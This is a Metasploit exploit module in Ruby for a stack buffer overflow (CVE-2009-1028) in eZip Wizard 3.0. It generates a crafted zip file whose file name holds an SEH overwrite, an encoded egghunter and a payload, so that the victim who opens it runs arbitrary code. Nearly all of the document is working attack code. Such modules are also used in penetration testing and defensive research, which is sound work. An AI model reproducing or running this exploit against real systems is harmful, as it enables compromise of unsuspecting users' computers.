eZip Wizard 3.0 Stack Buffer Overflow

##
# $Id: ezip_wizard_bof.rb 12428 2011-04-25 01:06:34Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex/zip'


class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Remote::Seh
	include Msf::Exploit::Remote::Egghunter

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'eZip Wizard 3.0 Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack-based buffer overflow vulnerability in
				version 3.0 of ediSys Corp.'s eZip Wizard.

				In order for the command to be executed, an attacker must convince someone to
				open a specially crafted zip file with eZip Wizard, and access the specially
				file via double-clicking it. By doing so, an attacker can execute arbitrary
				code as the victim user.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'fl0 fl0w',  #Initial discovery, poc
					'jduck',     #Metasploit
					'Lincoln',   #Complete Metasploit port
				],
			'Version'        => '$Revision: 12428 $',
			'References'     =>
				[
					[ 'CVE', '2009-1028' ],
					[ 'OSVDB', '52815' ],
					[ 'BID', '34044' ],
					[ 'URL', 'http://www.edisys.com/' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/8180' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/12059/' ],
				],
         'Platform'          => [ 'win' ],
         'Payload'           =>
				{
					'EncoderType'   => Msf::Encoder::Type::AlphanumMixed,
				},
			'Targets'        =>
				[
					['Windows Universal', { 'Offset' => 58, 'Ret' => 0x10020710 }],
				],
			'DisclosureDate' => 'Mar 09 2009',
			'DefaultTarget'  => 0))

		register_options(
		 	[
				OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']),
				OptString.new('USERNAME', [ true, 'Username', ''])
			], self.class)

	end

	def exploit

		#These badchars do not apply to the final payload
		badchars = "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0d\x2F\x5c\x3c\x3e\x5e\x7e"

		eggoptions = 
		{
				:checksum => true,
				:eggtag => 'w00t' 
		}

		hunter,egg = generate_egghunter(payload.encoded, badchars, eggoptions)

		[ 'x86/alpha_mixed'].each { |name|
	        	enc = framework.encoders.create(name)
				if name =~/alpha/
					enc.datastore.import_options_from_hash({ 'BufferRegister' => 'ESP' })
				end
			hunter = enc.encode(hunter, nil, nil, platform)
		}

		#Username length affects our offset to hit SEH correctly
		if datastore['USERNAME'].length >= 9
			padding = rand_text_alpha(target['Offset'] - 8)
		else
			padding = rand_text_alpha(target['Offset'] - datastore['USERNAME'].length)
		end

		fname  = padding
		fname << "\x61\x61\x7a\x04"      #nseh, align + conditional jmp
		fname << [target.ret].pack('V')  #seh
		fname << "\x61" * 29             #align for hunter
		fname << "\x58\x58\x41"          #align for hunter
		fname << hunter
		fname << egg

		zip = Rex::Zip::Archive.new
		xtra = [0xdac0ffee].pack('V')
		comment = [0xbadc0ded].pack('V')
		zip.add_file(fname, xtra, comment)

		# Create the file
		print_status("Creating '#{datastore['FILENAME']}' file...")

		file_create(zip.pack)
	end

end